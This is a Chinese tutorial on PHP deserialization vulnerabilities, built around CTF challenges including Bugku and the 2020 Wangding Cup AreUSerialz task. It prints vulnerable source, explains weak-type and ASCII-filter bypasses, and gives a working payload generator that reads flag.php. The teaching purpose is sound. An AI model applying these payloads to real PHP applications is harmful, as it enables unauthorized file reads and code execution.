37:WEB漏洞-反序列化之PHP&JAVA全解(上)


思維導圖

 

知識點

PHP反序列化

原理:未對用戶輸入的序列化字符串進行檢測,導致攻擊者可以控制反序列化過程,從而導致代碼執行,SQL注入,目錄遍歷等不可控后果。
在反序列化的過程中自動觸發了某些魔術方法。當進行反序列化的時候有可能觸發對象中的一些魔術方法。

  • serialize() //將一個對象轉換為一個字符串
  • unserialize() //將字符串還原成一個對象

觸發:unserialize函數的變量可控,文件中存在可利用的類,類中有魔術方法:

  • _construct() //創建對象時觸發
  • _destruct() //對象被銷毀時觸發
  • _call() //在對象上下文中調用不可訪問的方法時觸發
  • _callStatic() //在靜態上下文中調用不可訪問的方法時觸發
  • _get() //用於從不可訪問的屬性讀取數據
  • _set() //用於將數據寫入不可訪問的屬性
  • _isset() //在不可訪問的屬性上調用isset()或empty()觸發

參考:https://www.cnblogs.com/20175211lyz/p/11403397.html

本課重點:

  • 案例1:PHP反序列化熱身題-無類問題-本地
  • 案例2:CTF反序列化小真題-無類執行-實例
  • 案例3:CTF反序列化練習題-有類魔術方法觸發-本地
  • 案例4:網鼎杯2020青龍大真題-有類魔術方法觸發-實例

案例1:PHP反序列化熱身題-無類問題-本地

案例演示1:認識序列化

PHP在線執行:http://www.dooccn.com/php/

<?php
$a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
 
//序列化數組
$s = serialize($a);
echo $s;
//輸出結果:a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";}
?>

案例演示2:本地實例

源碼:test.php

<?php
error_reporting(0);
include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "$flag";
}
show_source(__FILE__);
?>

輸入s:6:"xiaodi";成功拿到flag。

案例2:CTF反序列化小真題-無類執行-實例

Bugku CTF題目:https://ctf.bugku.com/challenges\#flag.php

題目如下,提示hint

打開場景后,是個登錄框

這個登錄框沒啥用,根據提示在url后面加?hint=111,系統返回源代碼

審計源代碼,發現反序列化漏洞。

漏洞利用:

<1>使用php在線執行工具,將key序列化

<2>構造請求,將反序列化后的key放入cookie中,

<3>放行請求,發現並未返回flag。為什么呢?原因是源碼這里有2個坑:

以下,將請求中的hint參數刪除,並將cookie值改為序列化后的空值,放行請求,成功拿到flag。

案例3:CTF反序列化練習題-有類魔術方法觸發-本地

測試代碼

<?php

class ABC{
    public $test;
    function __construct(){
        $test =1;
        echo '調用了構造函數<br>';
    }
    function __destruct(){
        echo '調用了析構函數<br>';
    }
    function __wakeup(){
        echo '調用了蘇醒函數<br>';
    }
}
echo '創建對象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser = unserialize($a_ser);
echo '對象快要死了!';

?>

在線執行結果

執行結果說明,

  • 創建對象時,會默認調用__construct()方法,
  • 反序列化時,會默認調用__wakeup()函數,
  • 對象被銷毀時,會默認調用__destruct()函數

案例4:網鼎杯2020青龍大真題-有類魔術方法觸發-實例

案例:2020-網鼎杯-青龍組-Web-AreUSerialz

地址:https://www.ctfhub.com/#/challenge

進入場景后,顯示如下代碼

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") { 
            $this->write();
        } else if($this->op == "2") {  //弱類型判斷,僅判斷數值,op 賦值數字2或字符串' 2'也成立
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() { //析構函數,銷毀類時執行,也就是在最后執行
        if($this->op === "2")  //強類型比較,判斷數值+類型,可以使用數字2或字符串' 2'繞過判斷
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str); //反序列化,所以要先序列化。
    }

}

首先由ctf命名及代碼函數unserialize判斷本題考察反序列化知識點

  • 第一:獲取flag存儲flag.php
  • 第二:兩個魔術方法__destruct __construct
  • 第三:傳輸str參數數據后觸發destruct,存在is_valid過濾
  • 第四:__destruct中會調用process,其中op=1寫入及op=2讀取
  • 第五:涉及對象FileHandler,變量op及filename,content,進行構造輸出

涉及:反序列化魔術方法調用,弱類型繞過,ascii繞過

弱類型繞過

使用該類對flag進行讀取,這里面能利用的只有__destruct函數(析構函數)。
__destruct函數中if($this->op === "2")代碼,對op進行了===判斷(強類型)並且op值為字符串2時會賦值為1,
process函數中if($this->op == "2")代碼,使用==判斷(弱類型)(op值為2的情況下才能讀取內容),
因此這里存在弱類型比較,可以使用數字2或字符串' 2'繞過判斷。

ascii繞過

is_valid函數還對序列化字符串進行了校驗。
因為PHP序列化的時候,若成員被private和protected修飾,會引入不可見字符\x00,這些字符對應的ascii碼為0,這是個ASCII不在32到125之間的字符,經過is_valid函數以后會返回false,導致無法執行到反序列函數。
經過測試,在PHP7.2+的環境中,使用public修飾成員並序列化,反序列化后成員也會被public覆蓋修飾。因此可以改成public來繞過is_valid函數校驗。

payload:

<?php
class FileHandler{
  public $op=' 2';//源碼告訴我們op為1時執行寫入,op為2時執行讀取
  public $filename="flag.php";//文件開頭調用的是flag.php
  public $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>

先序列化

傳參,成功拿到flag。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM